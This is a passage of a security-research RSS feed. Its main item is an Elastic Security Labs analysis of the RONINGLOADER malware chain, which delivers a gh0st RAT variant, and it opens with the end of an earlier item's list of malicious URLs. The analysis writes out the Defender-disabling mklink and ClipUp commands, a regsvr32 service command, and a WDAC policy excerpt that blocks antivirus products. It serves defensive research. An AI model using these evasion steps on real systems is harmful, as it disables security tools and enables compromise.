| <code>www.investonline.in/js/jq.php</code> | URL |  | Malicious JS payload host (compromised) |
| <code>backupdailyawss.s3.us-east-1.amazonaws[.]com/rgen.zip</code> | URL |  | Payload delivery |</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/mimicrat-custom-rat-mimics-c2-frameworks</link>
    <guid isPermaLink="false">mimicrat-custom-rat-mimics-c2-frameworks</guid>
    <category><![CDATA[Malware Analysis]]></category>
    <dc:creator><![CDATA[Salim Bitam]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte47f159a4eb843be/6a7c8b0c3ce8e27bd7cef84b/photo-edited-01.png" length="0" type="image/png"/>
    <pubDate>Fri, 20 Feb 2026 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[RONINGLOADER: DragonBreath’s New Path to PPL Abuse]]></title>
    <description><![CDATA[Elastic Security Labs uncovers RONINGLOADER, a multi-stage loader deploying DragonBreath’s updated gh0st RAT variant. The campaign weaponizes signed drivers, thread-pool injection, and PPL abuse to disable Defender and evade Chinese EDR tools.]]></description>
    <content:encoded><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Elastic Security Labs identified a recent campaign distributing a modified variant of the gh0st RAT, attributed to the Dragon Breath APT (APT-Q-27), through trojanized NSIS installers masquerading as legitimate software such as Google Chrome and Microsoft Teams. The infection chain employs a multi-stage delivery mechanism that leverages various evasion techniques, with many redundancies aimed at neutralising endpoint security products popular in the Chinese market. These include bringing a legitimately signed driver, deploying custom <a href="https://learn.microsoft.com/en-us/hololens/windows-defender-application-control-wdac">WDAC</a> policies, and tampering with the Microsoft Defender binary through PPL abuse. </p>
<p>This campaign primarily targets Chinese-speaking users and demonstrates a clear evolution in adaptability compared to earlier DragonBreath-related campaigns documented in 2022-2023. Through this report, we hope to raise awareness of new techniques this malware is starting to implement and to shine a light on a unique loader we are naming RoningLoader.</p>
<h3 id="keytakeaways">Key takeaways</h3>
<ul>
<li>The malware employs an abuse of Protected Process Light (PPL) to disable Windows Defender  </li>
<li>Threat actors leverage a valid, signed kernel driver to kill processes  </li>
<li>Custom unsigned WDAC policy applied to block 360 Total Security and Huorong executables  </li>
<li>Phantom DLLs and payload injection via thread pools for further antivirus process termination  </li>
<li>Final payload has minor updates and is associated with DragonBreath</li>
</ul>
<h2 id="discovery">Discovery</h2>
<p>In August 2025, <a href="https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html">research</a> was published detailing a method to abuse Protected Process Light (PPL) to disable endpoint security tooling. Following this disclosure, we produced a behavioral rule, <a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_potential_evasion_via_clipup_execution.toml">Potential Evasion via ClipUp Execution</a>, and, after some threat hunting of telemetry data, we identified a live campaign employing the technique.</p>
<h2 id="roningloadercodeanalysis">RONINGLOADER code analysis</h2>
<p>The <a href="https://www.virustotal.com/gui/file/da2c58308e860e57df4c46465fd1cfc68d41e8699b4871e9a9be3c434283d50b/detection">initial infection vector</a> is a Windows Installer package (MSI). Upon execution, the MSI functions as a dropper, extracting two embedded <a href="https://nsis.sourceforge.io/Main_Page">Nullsoft Scriptable Install System (NSIS)</a> installers. NSIS is a legitimate, open-source tool for creating Windows installers, but it is frequently abused by threat actors to package and deliver malware, as seen in <a href="https://www.elastic.co/security-labs/getting-gooey-with-guloader-downloader">GULOADER</a>. In this campaign, we have observed the malicious installers being distributed under various themes, masquerading as legitimate software such as Google Chrome, Microsoft Teams, or other trusted applications to lure users into executing them.</p>
<p>One of the nested NSIS installers is benign and installs the legitimate software, while the second is malicious and responsible for deploying the attack chain.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt97360f3af293e142/6a7c92e71967ea157032ab57/image40.png" alt="RONINGLOADER Execution flow" title="RONINGLOADER Execution flow" />  </p>
<p>The attack chain leverages a signed driver named <code>ollama.sys</code> for antivirus process termination. The driver has a signer name of <code>Kunming Wuqi E-commerce Co., Ltd.</code>, with a certificate valid from February 3, 2025, to February 3, 2026. Pivoting on VirusTotal revealed 71 additional signed binaries. Among these, we identified AgentTesla droppers masquerading as <code>慕讯公益加速器 (MuXunAccelerator)</code>, a gaming-focused VPN software popular among Chinese users, with samples dating back to April 2025. Notably, the signing techniques vary across samples. Some earlier samples, like <a href="https://www.virustotal.com/gui/file/507e41a0831a8f3a81f2cd6be76ea4d757f463524f6c93bba15d47984f9e29c1/details"><code>inject.sys</code></a>, contain <a href="https://github.com/Jemmy1228/HookSigntool"><code>HookSignTool</code></a> artifacts including the string <code>JemmyLoveJenny</code>, while the October 2025 <code>ollama.sys</code> sample shows no such artifacts and uses standard signing procedures, yet both share the same certificate validity period. </p>
<p>Comparing <code>ollama.sys</code>’s PDB string artifact <code>D:\VS_Project\加解密\MyDriver1\x64\Release\MyDriver1.pdb</code> with other samples, we discovered different artifacts from other submitted samples - </p>
<ul>
<li><code>D:\cpp\origin\ConsoleApplication2\x64\Release\ConsoleApplication2.pdb</code>   </li>
<li><code>D:\a_work\1\s\artifacts\obj\coreclr\windows.x86.Release\Corehost.Static\singlefilehost.pdb</code>   </li>
<li><code>C:\Users\0\Desktop\EAMap\x64\Release\ttt.pdb</code>   </li>
<li><code>h:\projects\netfilter3\bin\Release\Win32\nfregdrv.pdb</code> </li>
</ul>
<p>Due to the diversity of binaries and the large volume of submissions, we suspect the certificate may have been leaked, but this is speculation at this time.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt97110587eca5bd44/6a7c92ea1967eae77832ab5b/image35.png" alt="Digital signature of the driver" title="Digital signature of the driver" />  </p>
<h3 id="stage1">Stage 1</h3>
<p>Our analysis began with the initial binary, identified by its SHA256 hash: <code>da2c58308e860e57df4c46465fd1cfc68d41e8699b4871e9a9be3c434283d50b</code>. Extracting it reveals two embedded executables: a benign installer, <code>letsvpnlatest.exe</code>, and the malicious installer <code>Snieoatwtregoable.exe</code>.</p>
<p>The malicious installer, <code>Snieoatwtregoable.exe</code>, creates a new directory at <code>C:\Program Files\Snieoatwtregoable\</code>. Within this folder, it drops two files: a DLL named <code>Snieoatwtregoable.dll</code> and an encrypted file, <code>tp.png</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd4f38d05fe1a8f2f/6a7c92ec9f52512c6f664336/image10.png" alt="Files dropped on disk" title="Files dropped on disk" />  </p>
<p>The core of the malicious activity resides within <code>Snieoatwtregoable.dll</code>, which exports a single function: <code>DllRegisterServer</code>. When invoked, this function reads the contents of the <code>tp.png</code> file from disk, then decrypts this data using a simple algorithm involving both a Right Rotate (ROR) and an XOR operation.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltbee7f3c5b37b7563/6a7c92ef73d9bd4fcc297f21/image37.png" alt="XOR decryption routine" title="XOR decryption routine" />  </p>
<p>The decrypted content is shellcode that reflectively loads and executes a PE file in memory. The malware first allocates a new memory region within its own process using the <code>NtAllocateVirtualMemory</code> API, then creates a new thread to execute the shellcode by calling <code>NtCreateThreadEx</code>.</p>
<p>The malware attempts to remove any userland hooks by loading a fresh new <code>ntdll.dll</code>, then using <code>GetProcAddress</code> with the API name to resolve the addresses.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta9c7a61b9c565605/6a7c92f24c4bfbc4dacc7bb9/image32.png" alt="Loads a fresh NTDLL" title="Loads a fresh NTDLL" />  </p>
<p>The malware attempts to connect to localhost on port <code>5555</code> without serving any real purpose, as the result will not matter; speculatively, this is likely dead code or pre-production leftover code</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb8cf4baf7e169847/6a7c92f56c6eac71bff0e6c6/image13.png" alt="Dead code" title="Dead code" />  </p>
<h3 id="stage2tppng">Stage 2 - tp.png</h3>
<p>RONINGLOADER first checks whether it has administrative privileges using the <code>GetTokenInformation</code> API. If not, it attempts to elevate its privileges by using the <code>runas</code> command to launch a new, elevated instance of itself before terminating the original process.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltaaa0aee00eecbbd0/6a7c92f8437e0f4bfcdd590d/image31.png" alt="Elevates privileges with RunAs command" title="Elevates privileges with RunAs command" /></p>
<p>Interestingly, the malware tries to communicate with a hardcoded URL <a href="http://www.baidu.com/"><code>http://www.baidu.com/</code></a> with the user-agent <code>“Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko”</code>, but this appears to be dead code, likely due to either a removed feature or placeholder code for future versions. It is designed to extract and log the HTTP response header date from the URL.</p>
<p>The malware then scans a list of running processes for specific antivirus solutions. It checks against a hardcoded list of process names and sets a corresponding boolean flag to "True" if any are found.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt93074c7666f32b18/6a7c92fb448e4e83c85baeed/image11.png" alt="Scans for specific processes" title="Scans for specific processes" /></p>
<p>The following is a table of processes and the associated security products hardcoded in the binary:</p>
<p>| Process name | Security Product |
| :---- | :---- |
| <code>MsMpEng.exe</code> | Microsoft Defender Antivirus |
| <code>kxemain.exe</code> | Kingsoft Internet Security |
| <code>kxetray.exe</code> | Kingsoft Internet Security |
| <code>kxecenter.exe</code> | Kingsoft Internet Security |
| <code>QQPCTray.exe</code> | Tencent PC Manager |
| <code>QQPCRTP.exe</code> | Tencent PC Manager |
| <code>QMToolWidget.exe</code> | Tencent PC Manager |
| <code>HipsTray.exe</code> | Qihoo 360 Total Security  |
| <code>HipsDaemon.exe</code> | Qihoo 360 Total Security |
| <code>HipsMain.exe</code> | Qihoo 360 Total Security |
| <code>360tray.exe</code> | Qihoo 360 Total Security |</p>
<h4 id="avprocessterminationviainjectedremoteprocess">AV process termination via injected remote process</h4>
<p>Next, the malware kills those processes. Interestingly, the Qihoo 360 Total Security product takes a different approach than the others.</p>
<p>First, it blocks all network communication by changing the firewall. It then calls a function to inject shellcode into the process (<code>vssvc.exe</code>) associated with the Volume Shadow Copy (VSS) service.<br />
It first grants itself the high integrity <code>SeDebugPrivilege</code> token.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt64ca25d092a5edeb/6a7c92fdb4377012834d133c/image2.png" alt="Grants SeDebugPrivilege to itself" title="Grants SeDebugPrivilege to itself" /></p>
<p>It then starts the <a href="https://learn.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service">VSS (Volume Shadow Copy Service)</a> if it is not already running and fetches the PID of its associated process (vssvc.exe).</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt6f82964d517d521d/6a7c930051156ac7822bcc43/image26.png" alt="Starts VSS service" title="Starts VSS service" /></p>
<p>Next, the malware uses <code>NtCreateSection</code> to create two separate memory sections. It then maps views of these sections into the memory space of the vssvc.exe process. The first section contains a full Portable Executable (PE) file, which is a driver with the device name <code>\\.\Ollama</code>. The second section contains shellcode intended for execution.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt07e8a6722c30ad18/6a7c9303b43770f0424d1340/image15.png" alt="Mapping section views to the remote process" title="Mapping section views to the remote process" />  </p>
<p>RONINGLOADER takes a different approach to this process injection compared to other injection methods used elsewhere in the malware. This technique leverages the thread pool to remotely execute code via a file write trigger in the remote process. This technique was documented <a href="https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/">by SafeBreach</a> in 2023 with different variants.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt02bbf2428f830893/6a7c9305e88c65debb005b73/image5.png" alt="Injection through ThreadPool tasks" title="Injection through ThreadPool tasks" /></p>
<p>Once executed, the shellcode begins by dynamically resolving the addresses of the Windows APIs it needs to function. This is the only part of RONINGLOADER that employs any obfuscation, using the <a href="https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function">Fowler–Noll–Vo hash</a> (FNV) algorithm to look up functions by hash instead of by name.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltaafae898733ead31/6a7c9308c33f4f156ad54d8e/image25.png" alt="FNV algorithm instructions" title="FNV algorithm instructions" /></p>
<p>It first fetches the addresses of <code>CreateFileW</code>, <code>WriteFile</code>, and <code>CloseHandle</code> to write the driver to disk to a hardcoded path, <code>C:\windows\system32\drivers\1912763.temp</code>.</p>
<p>Then it performs the following operations:</p>
<ul>
<li>Create a service named <code>xererre1</code> to load the driver dropped to disk  </li>
<li>For each of the following processes (<code>360Safe.exe</code>, <code>360Tray.exe</code>, and <code>ZhuDongFangYu.exe</code>), which are all associated with Qihoo 360 software, it calls 2 functions: one to find the PID of the process by name, followed by a function to kill the process by PID  </li>
<li>It then stops and deletes the service <code>xererre1</code></li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb90fbafbb7e98d13/6a7c930b05b7b53641185da3/image27.png" alt="Function calls to kill Qihoo 360 software processes" title="Function calls to kill Qihoo 360 software processes" /></p>
<p>To kill a process, the malware uses the driver. An analysis of the driver reveals that it registers only 1 functionality: it handles one IOCTL ID (<code>0x222000</code>) that takes a PID as a parameter and kills the process by first opening it with <code>ZwOpenProcess</code>, then terminating it with <code>ZwTerminateProcess</code> kernel APIs.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb7164dd2eb1c6f6d/6a7c930ec33f4f0bf1d54d94/image1.png" alt="Kernel driver kills a process by PID" title="Kernel driver kills a process by PID" /></p>
<h4 id="avprocesstermination">AV process termination</h4>
<p>Returning to the main execution flow, the malware enters a loop to confirm the termination of <code>360tray.exe</code>, as handled by the shellcode injected into the VSS service. It proceeds only after verifying that the process is no longer running. Immediately after this confirmation, the system restores its firewall settings. This action is likely a defensive measure intended to sever the software's communication channel, preventing it from uploading final activity logs or security alerts to its backend services.</p>
<p>It then terminates the other security processes directly from its main process. Notably, it makes no attempt to hide these actions, abandoning the earlier API hashing technique and calling the necessary functions directly.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt66bbc117fff8e327/6a7c9310227b1c92a55929eb/image29.png" alt="Function calls to kill the rest of the security solutions" title="Function calls to kill the rest of the security solutions" /></p>
<p>RONINGLOADER follows a consistent, repeatable procedure to terminate its target processes:</p>
<ul>
<li>First, it writes the malicious driver to disk, this time to the temporary path <code>C:\Users\analysis\AppData\Local\Temp\ollama.sys.</code>  </li>
<li>A temporary service (<code>ollama</code>) is created to load <code>ollama.sys</code> into the kernel  </li>
<li>The malware then fetches the target process's PID by name and sends a request containing the PID to its driver to perform the termination.  </li>
<li>Immediately after the kill command is sent, the service is deleted.</li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2c74e5fd07f972c0/6a7c931380ee3857aa60d417/image6.png" alt="Write driver, create service, start service" title="Write driver, create service, start service" />  </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt37e7278f4bd68ade/6a7c9316e02facb32d5d0853/image22.png" alt="Kill by PID and delete the service afterwards" title="Kill by PID and delete the service afterwards" /></p>
<p>Regarding Microsoft Defender, the malware attempts to kill the <code>MsMpEng.exe</code> process using the same approach described above. We noticed a code bug from the author: for Microsoft Defender, the code does not check whether Defender is already running, but proceeds directly to searching for the <code>MsMpEng.exe</code> process. This means that if the process is not running, the malware will send 0 as the PID to the driver.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3c6e706be5c47ad3/6a7c931933fa8a7d4e1fccb6/image23.png" alt="Microsoft Defender process killing" title="Microsoft Defender process killing" /></p>
<p>The malware has more redundant code to kill security solution processes. It also injects another shellcode into svchost.exe, similar to what was injected into <code>vssvc.exe</code>, but the list of processes is different, as seen in the screenshot below.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4df9826f0bc82a95/6a7c931ce02face3255d0857/image12.png" alt="Redundant code to kill security processes" title="Redundant code to kill security processes" /></p>
<p>The injection technique also uses threadpools, but the injected code is triggered by an event.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb417532aa5a463e3/6a7c931ee88c655787005b77/image39.png" alt="ThreadPool injection with an event as a trigger" title="ThreadPool injection with an event as a trigger" /></p>
<p>After the process termination, the malware creates 4 folders </p>
<ul>
<li><code>C:\ProgramData\lnk</code>  </li>
<li><code>C:\ProgramData\&lt;current_date&gt;</code>  </li>
<li><code>C:\Users\Public\Downloads\&lt;current_date&gt;</code>  </li>
<li><code>C:\ProgramData\Roning</code></li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte01c022948fd9da5/6a7c9321bdcff022d5c3d3dc/image20.png" alt="Folder creation to drop files" title="Folder creation to drop files" /></p>
<h4 id="embeddedarchives">Embedded archives</h4>
<p>The malware then writes three <code>.txt</code> files to <code>C:\Users\Public\Downloads\&lt;current_date&gt;</code>. Despite their extension, these are not text files but rather containers built with a specific format, likely adapted from another code base.<br />
This custom file structure is organized as follows:</p>
<ul>
<li><strong>Magic Bytes:</strong> The file begins with the signature <code>4B 44 01 00</code> for identification.  </li>
<li><strong>File Count:</strong> This is immediately followed by a value indicating the number of files encapsulated within the container.  </li>
<li><strong>File Metadata:</strong> A header section then describes the information for each stored file.  </li>
<li><strong>Compressed Data:</strong> Finally, each embedded file is stored in a ZLIB-compressed data block.</li>
</ul>
<p>Here’s an example file format for the <code>hjk.txt archive</code>, which contains 2 files: <code>1.bat</code> and <code>fhq.bat</code>.<br />
This archive format applies to 2 other embedded files in the current stage:</p>
<ul>
<li><code>agg.txt</code>, which contains 3 files - <code>Enpug.bin</code>, <code>goldendays.dll</code>, and <code>trustinstaller.bin</code>  </li>
<li><code>kill.txt</code>, which contains 1 file - <code>1.dll</code></li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9c42a00f30e86ab1/6a7c93241967eaddcc32ab63/image7.png" alt="Archive format for hjk.txt" title="Archive format for hjk.txt" />  </p>
<h4 id="batchscriptstobypassuacandavnetworking">Batch scripts to bypass UAC and AV networking</h4>
<p><code>1.bat</code> is a simple batch script that disables User Account Control (UAC) by setting the <code>EnableLUA</code> registry value to 0.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9176ae3628c032bf/6a7c9327c2cc095538243708/image28.png" alt="1.bat content" title="1.bat content" /></p>
<p><code>fhq.bat</code> is another batch script that targets the program defined in <code>C:\ProgramData\lnk\123.txt</code> and the Qihoo 360 security software (360Safe.exe) by creating firewall rules that block inbound and outbound connections to them. It also disables firewall notifications across all profiles. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt63a9de9419eadaea/6a7c932a448e4e8b915baef7/image14.png" alt="fhq.bat content" title="fhq.bat content" />  </p>
<h4 id="avprocessterminationviaphantomdll">AV process termination via Phantom DLL</h4>
<p>The deployed DLL, <code>1.dll</code>, is copied to <code>C:\Windows\System32\Wow64\Wow64Log.dll</code> to be side-loaded by any WOW64 processes, as <code>Wow64Log.dll</code> is a <a href="https://hijacklibs.net/entries/microsoft/built-in/wow64log.html">phantom DLL</a> that is not present on Windows machines by default. Its task is redundant, essentially attempting to kill a list of processes using standard Windows APIs (<code>TerminateProcess</code>).</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt897b0ab66ccc3f35/6a7c932d73d9bd792b297f31/image24.png" alt="Wow64Log.dll Dllmain code" title="Wow64Log.dll Dllmain code" /></p>
<h4 id="clipupmsdefenderkiller">ClipUp MS Defender killer</h4>
<p>The malware then attempts to use a PPL abuse technique documented by <a href="https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html">Zero Salarium</a> in August 2025. The article’s PoC targets Microsoft Defender only. Note that all of the system commands executed are through <code>cmd.exe</code> with the <code>ShellExecuteW</code> API</p>
<ul>
<li>It searches for Microsoft Defender's installation folder under <code>C:\ProgramData\Microsoft\Windows Defender\Platform\*</code>, targeting only the directory with the most recent modification date, which indicates the currently used version  </li>
<li>Create a folder <code>C:\ProgramData\roming</code> and a directory link with <code>mklink</code> to point to the directory found with the following command: <code>cmd.exe /c mklink /D "C:\ProgramData\roming" “C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25050.5-0”</code>  </li>
<li>It then runs <code>C:\Windows\System32\ClipUp.exe</code> with the following parameter: <code>-ppl C:\ProgramData\roming\MsMpEng.exe</code>, which overwrites <code>MsMpEng.exe</code> with junk data, effectively disabling the EDR even after a restart</li>
</ul>
<p>The author appears to have copied code from <a href="https://github.com/TwoSevenOneT/EDR-Freeze/blob/ceffd5ea7b813b356c77d469561dbb5ee45aeb24/PPLHelp.cpp#L43">EDR-Freeze</a> to start <code>ClipUp.exe</code>.</p>
<h4 id="cipolicies">CiPolicies</h4>
<p>The malware directly targets Windows Defender Application Control (WDAC) by writing a policy file to the path <code>C:\\Windows\\System32\\CodeIntegrity\\CiPolicies\\Active\\{31351756-3F24-4963-8380-4E7602335AAE}.cip</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt8a4b1043034c98ce/6a7c93301967eaff9f32ab6d/image33.png" alt="Write policy to disk" title="Write policy to disk" /></p>
<p>The malicious policy operates in a “deny-list” mode, allowing most applications to run while explicitly blocking two popular Chinese antivirus vendors: </p>
<ul>
<li>Qihoo 360 Total Security by blocking <code>360rp.exe</code> and <code>360sd.exe</code>  </li>
<li>Huorong Security by blocking <code>ARPProte.exe</code>   </li>
<li>All executables signed by Huorong Security (<code>北京火绒网络科技有限公司</code>) via certificate TBS hash <code>A229D2722BC6091D73B1D979B81088C977CB028A6F7CBF264BB81D5CC8F099F87D7C296E48BF09D7EBE275F5498661A4</code></li>
</ul>
<p>A critical component is the <code>Enabled:Unsigned System Integrity Policy</code> rule, which allows the policy to be loaded without a valid digital signature. </p>
<pre><code>Truncated...
    &lt;Rule&gt;
      &lt;Option&gt;Enabled:Inherit Default Policy&lt;/Option&gt;
    &lt;/Rule&gt;
    &lt;Rule&gt;
      &lt;Option&gt;Enabled:Unsigned System Integrity Policy&lt;/Option&gt;
    &lt;/Rule&gt;
    &lt;Rule&gt;
      &lt;Option&gt;Enabled:Advanced Boot Options Menu&lt;/Option&gt;
    &lt;/Rule&gt;
    &lt;Rule&gt;
      &lt;Option&gt;Enabled:Update Policy No Reboot&lt;/Option&gt;
    &lt;/Rule&gt;
  &lt;/Rules&gt;
  &lt;EKUs /&gt;
  &lt;FileRules&gt;
    &lt;Allow ID="ID_ALLOW_A_019A298478CE7BF4902DE08CA2D17630" FileName="*" /&gt;
    &lt;Allow ID="ID_ALLOW_A_019A298478CE7AB089C369772F34B39B" FileName="*" /&gt;
    &lt;Deny ID="ID_DENY_A_019A298478CE7DBA9913BFC227DACD14" FileName="360rp.exe" InternalName="360rp.exe" FileDescription="360杀毒 实时监控" ProductName="360杀毒" /&gt;
    &lt;Deny ID="ID_DENY_A_019A298478CE763C85C9F42EC8669750" FileName="360sd.exe" InternalName="360sd.exe" FileDescription="360杀毒 主程序" ProductName="360杀毒" /&gt;
    &lt;FileAttrib ID="ID_FILEATTRIB_A_019A298478CE766B9C39FB9CE6805A11" FileName="ARPProte.exe" MinimumFileVersion="6.0.0.0" /&gt;
  &lt;/FileRules&gt;
  &lt;Signers&gt;
    &lt;Signer ID="ID_SIGNER_A_019A298478CE7608908CAE58FD9C3D8E" Name=""&gt;
      &lt;CertRoot Type="TBS" Value="A229D2722BC6091D73B1D979B81088C977CB028A6F7CBF264BB81D5CC8F099F87D7C296E48BF09D7EBE275F5498661A4" /&gt;
      &lt;CertPublisher Value="北京火绒网络科技有限公司" /&gt;
      &lt;FileAttribRef RuleID="ID_FILEATTRIB_A_019A298478CE766B9C39FB9CE6805A11" /&gt;
    &lt;/Signer&gt;
    &lt;Signer ID="ID_SIGNER_A_019A298478CE77F7B523D1581F518639" Name=""&gt;
      &lt;CertRoot Type="TBS" Value="A229D2722BC6091D73B1D979B81088C977CB028A6F7CBF264BB81D5CC8F099F87D7C296E48BF09D7EBE275F5498661A4" /&gt;
      &lt;CertPublisher Value="北京火绒网络科技有限公司" /&gt;
    &lt;/Signer&gt;
  &lt;/Signers&gt;
...Truncated
</code></pre>
<h3 id="stage3goldendaysdll">Stage 3 - goldendays.dll</h3>
<p>In the previous stage, RONINGLOADER creates a new service named <code>MicrosoftSoftware2ShadowCop4yProvider</code> to run the next stage of execution with the following command: <code>regsvr32.exe /S "C:\ProgramData\Roning\goldendays.dll</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt5e8a5303d6aa8145/6a7c9332c33f4f0668d54d9e/image34.png" alt="Create MicrosoftSoftware2ShadowCop4yProvider service" title="Create MicrosoftSoftware2ShadowCop4yProvider service" />  </p>
<p>The primary goal of this component is to inject the next payload into a legitimate, high-privilege system process to camouflage its activities.</p>
<p>To achieve this, RONINGLOADER first identifies a suitable target process. It has a hardcoded list of two service names that it attempts to start sequentially:</p>
<ol>
<li>TrustedInstaller (<code>TrustedInstaller.exe</code>)  </li>
<li>MicrosoftEdgeElevationService (<code>elevation_service.exe</code>)</li>
</ol>
<p>The malware iterates through this list, attempting to start each service. Once a service is successfully started, or if one is found already running, the malware saves its Process ID (PID) for the injection phase.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb956c81f19f49418/6a7c933573d9bd6a54297f35/image18.png" alt="Start both TrustedInstaller and MicrosoftEdgeElevationService services" title="Start both TrustedInstaller and MicrosoftEdgeElevationService services" />  </p>
<p>Next, the malware establishes persistence by creating a batch file with a random name within the <code>C:\Windows\</code> directory (e.g., <code>C:\Windows\KPeYvogsPm.bat</code>). The script inside this file runs a continuous loop with the following logic:</p>
<ul>
<li>It checks if the captured PID of the trusted service (e.g., PID <code>4016</code> for <code>TrustedInstaller.exe</code>) is still running  </li>
<li>If the service is not running, the script restarts the previously created malicious service (<code>MicrosoftSoftware2ShadowCop4yProvider</code>) to ensure the malware's components remain active  </li>
<li>If the service process is running, the script sleeps for 10 seconds before checking again</li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9867ca2e4dae75df/6a7c9338e02fac01e95d0863/image4.png" alt="Batch file content" title="Batch file content" />  </p>
<p>Finally, the malware reads the contents of <code>C:\ProgramData\Roning\trustinstaller.bin</code>. Using the PID of the trusted service it acquired earlier, it injects this payload into the target process (<code>TrustedInstaller.exe</code> or <code>elevation_service.exe</code>). The injection method is straightforward: it performs a remote virtual allocation with <code>VirtualAllocEx</code>, writes to it with <code>WriteProcessMemory</code>, and then creates a remote thread to execute it with <code>CreateRemoteThread</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt36987e2c075c6bbe/6a7c933b227b1c26cd5929f3/image21.png" alt="Remote process injection" title="Remote process injection" /></p>
<h3 id="stage3trustinstallerbin">Stage 3 - trustinstaller.bin</h3>
<p>The third stage, contained within <code>trustinstaller.bin</code>, is responsible for injecting the final payload into a legitimate process. It starts by enumerating running processes and searching for a target by matching process names against a hardcoded list of potential processes.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2def1d75f34650be/6a7c933d9f5251f0be664340/image8.png" alt="List of process options to inject the payload into" title="List of process options to inject the payload into" />  </p>
<p>When found, it will inject the shellcode into <code>C:\ProgramData\Roning\Enpug.bin</code>, which is the final payload. It will create a section with <code>NtCreateSection</code>, map a view of it in the remote process with <code>NtMapViewOfSection</code>, and write the payload to it. Then it will create a remote thread with <code>CreateRemoteThread</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt661933d798f3ebd0/6a7c9340e02fac061c5d0869/image17.png" alt="Maps section view in the remote process" title="Maps section view in the remote process" />  </p>
<h3 id="stage4finalpayload">Stage 4 - Final Payload</h3>
<p>The <a href="https://www.virustotal.com/gui/file/3dd470e85fe77cd847ca59d1d08ec8ccebe9bd73fd2cf074c29d87ca2fd24e33/detection">final payload</a> has not undergone major changes since <a href="https://news.sophos.com/en-us/2023/05/03/doubled-dll-sideloading-dragon-breath/">Sophos</a>’s discovery of a DragonBreath campaign in 2023 and <a href="https://ti.qianxin.com/blog/articles/operation-dragon-breath-%28apt-q-27%29-dimensionality-reduction-blow-to-the-gambling-industry/">QianXin’s report</a> in mid-2022. It is still a modified version of the open-source <a href="https://github.com/sin5678/gh0st">gh0st</a> RAT.</p>
<p>In the more recent campaigns, a mutex of value <code>Global\DHGGlobalMutex</code> is created at the very beginning of execution. Outside the main C2 communication loop, dead code is observed creating a mutex named <code>MyUniqueMutexName</code> and immediately destroying it afterward. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt02d1b139b772970c/6a7c934380ee38dc0160d423/image19.png" alt="Mutex value MyUniqueMutexName within dead code" title="Mutex value MyUniqueMutexName within dead code" />  </p>
<p>The C2 domain and port remain hardcoded but are now XOR-encrypted. The C2 channel operates over raw TCP sockets with messages encrypted in both directions.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2464b500e9af7b92/6a7c934651156a194a2bcc4b/image9.png" alt="C2 domain and port XOR decoded" title="C2 domain and port XOR decoded" />  </p>
<h4 id="victimbeacondata">Victim Beacon Data</h4>
